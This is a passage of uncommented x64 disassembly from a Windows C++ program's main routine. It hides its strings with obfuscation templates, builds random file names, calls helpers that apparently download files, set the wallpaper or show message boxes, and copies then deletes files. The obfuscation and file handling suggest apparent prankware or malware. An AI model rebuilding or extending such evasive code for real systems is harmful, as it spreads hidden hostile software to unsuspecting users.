call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x212e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2060]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x208e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x21ec]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x21ed]
mov rcx, rax
call method.main.lambda__66::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__8629384190178168809ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x21ec]
lea rax, [rbp + 0x21c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21c0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x21c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x21ec]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x21ee]
mov rcx, rax
call method.main.lambda__68::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__13637332112133530397ull__char_.operator_char__
mov rbx, rax
lea rax, [rbp + 0x21ef]
mov rcx, rax
call method.main.lambda__67::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__13637332112133530397ull__char_.operator_char__
mov r9d, 1
mov r8d, 1
mov rdx, rbx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
mov dword [rbp + 0x45f4], eax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x222e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x222f]
mov rcx, rax
call method.main.lambda__69::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__12366310293419678589ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x222e]
lea rax, [rbp + 0x2200]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2200]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2200]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x222e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x225e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x225f]
mov rcx, rax
call method.main.lambda__71::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8923844349740399005ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x225e]
lea rax, [rbp + 0x2230]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x2280]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x22ee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x22ef]
mov rcx, rax
call method.main.lambda__70::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__8923844349740399005ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x22ee]
lea rax, [rbp + 0x22c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x231b]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x231b]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x22f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x22a0]
lea rcx, [rbp + 0x22c0]
lea rdx, [rbp + 0x22f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2260]
lea rcx, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xe0]
lea rcx, [rbp + 0x2230]
lea rdx, [rbp + 0x2260]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2260]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x22a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x22f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x231b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x22c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x22ee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2280]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x225e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x8c0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
cmp dword [rbp + 0x46f0], 9
jle 0x23195441a
lea rax, [rbp + 0x231c]
mov rcx, rax
call method.main.lambda__72::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__1102103534659378545ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x48
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x23195441a
mov eax, 1
jmp 0x23195441f
mov eax, 0
test al, al
je 0x231954463
lea rax, [rbp + 0x231d]
mov rcx, rax
call method.main.lambda__73::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__11958544829247221673ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231954941
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 1
mov rcx, rax
call sym.f_ssd_char_const__int_
test eax, eax
sete al
test al, al
je 0x231954941
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.231a11520
cmp dword [rbp + 0x46f0], 0xb
jle 0x2319544ee
lea rax, [rbp + 0x231e]
mov rcx, rax
call method.main.lambda__74::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__4117806609715112797ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x58
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319544ee
mov eax, 1
jmp 0x2319544f3
mov eax, 0
test al, al
je 0x231954710
lea rax, [rbp + 0x231f]
mov rcx, rax
call method.main.lambda__75::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__14225034273193302279ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x236e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x236f]
mov rcx, rax
call method.main.lambda__77::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__4579922377837488515ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x236e]
lea rax, [rbp + 0x2340]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x2390]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x23fe]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x23ff]
mov rcx, rax
call method.main.lambda__76::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__4579922377837488515ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x23fe]
lea rax, [rbp + 0x23d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x242f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x242f]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x2400]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x23b0]
lea rcx, [rbp + 0x23d0]
lea rdx, [rbp + 0x2400]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2370]
lea rcx, [rbp + 0x2390]
lea rdx, [rbp + 0x23b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2320]
lea rcx, [rbp + 0x2340]
lea rdx, [rbp + 0x2370]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2320]
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x23b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2400]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x242f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x23d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x23fe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2340]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x236e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x2319548e5
lea rax, [rbp + 0x247e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x247f]
mov rcx, rax
call method.main.lambda__79::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8445684248480779733ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x247e]
lea rax, [rbp + 0x2450]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x24a0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x250e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x250f]
mov rcx, rax
call method.main.lambda__78::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__8445684248480779733ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x250e]
lea rax, [rbp + 0x24e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x253f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x253f]
lea rdx, [rbp + 0x8c0]
lea rax, [rbp + 0x2510]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x24c0]
lea rcx, [rbp + 0x24e0]
lea rdx, [rbp + 0x2510]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2480]
lea rcx, [rbp + 0x24a0]
lea rdx, [rbp + 0x24c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2430]
lea rcx, [rbp + 0x2450]
lea rdx, [rbp + 0x2480]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2430]
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2430]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2480]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x24c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2510]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x253f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x24e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x250e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x24a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2450]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x247e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.f_swp_void_
lea rax, [rbp + 0x610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xe0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x257e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x257f]
mov rcx, rax
call method.main.lambda__80::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__231748162838699801ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x257e]
lea rax, [rbp + 0x2550]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2550]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2550]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x257e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x25ae]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x25af]
mov rcx, rax
call method.main.lambda__82::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__9640952773749597613ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x25ae]
lea rax, [rbp + 0x2580]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x25d0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x263e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x263f]
mov rcx, rax
call method.main.lambda__81::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__9640952773749597613ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x263e]
lea rax, [rbp + 0x2610]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x266b]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x266b]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x2640]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x25f0]
lea rcx, [rbp + 0x2610]
lea rdx, [rbp + 0x2640]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x25b0]
lea rcx, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x100]
lea rcx, [rbp + 0x2580]
lea rdx, [rbp + 0x25b0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x25b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x25f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2640]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x266b]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2610]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x263e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x25d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2580]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x25ae]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp + 0x46f0], 0xa
jle 0x231954be4
lea rax, [rbp + 0x266c]
mov rcx, rax
call method.main.lambda__83::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__8933232203729580421ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x50
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231954be4
mov eax, 1
jmp 0x231954be9
mov eax, 0
test al, al
je 0x231954c2d
lea rax, [rbp + 0x266d]
mov rcx, rax
call method.main.lambda__84::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__7052513609559011665ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231955798
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 0
mov rcx, rax
call sym.f_dc_char_const__int_
test eax, eax
sete al
test al, al
je 0x231955798
lea rax, [rbp + 0x100]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_LoadImageA]
call rax
mov qword [rbp + 0x45e8], rax
mov edx, 1
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
cmp qword [rbp + 0x45e8], 0
je 0x231955233
mov rax, qword [rbp + 0x45e8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.231a11520
cmp dword [rbp + 0x46f0], 0xb
jle 0x231954d1c
lea rax, [rbp + 0x266e]
mov rcx, rax
call method.main.lambda__85::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__4313737810776887199ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x58
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231954d1c
mov eax, 1
jmp 0x231954d21
mov eax, 0
test al, al
je 0x231954f3e
lea rax, [rbp + 0x266f]
mov rcx, rax
call method.main.lambda__86::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__11641705219348303813ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x26be]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x26bf]
mov rcx, rax
call method.main.lambda__88::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__3244840925271236007ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x26be]
lea rax, [rbp + 0x2690]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x26e0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x274e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x274f]
mov rcx, rax
call method.main.lambda__87::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__3244840925271236007ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x274e]
lea rax, [rbp + 0x2720]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x277f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x277f]
lea rdx, [rbp + 0xbf0]
lea rax, [rbp + 0x2750]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2700]
lea rcx, [rbp + 0x2720]
lea rdx, [rbp + 0x2750]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x26c0]
lea rcx, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2670]
lea rcx, [rbp + 0x2690]
lea rdx, [rbp + 0x26c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rdx, [rbp + 0x2670]
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2670]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2700]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2750]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x277f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2720]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x274e]
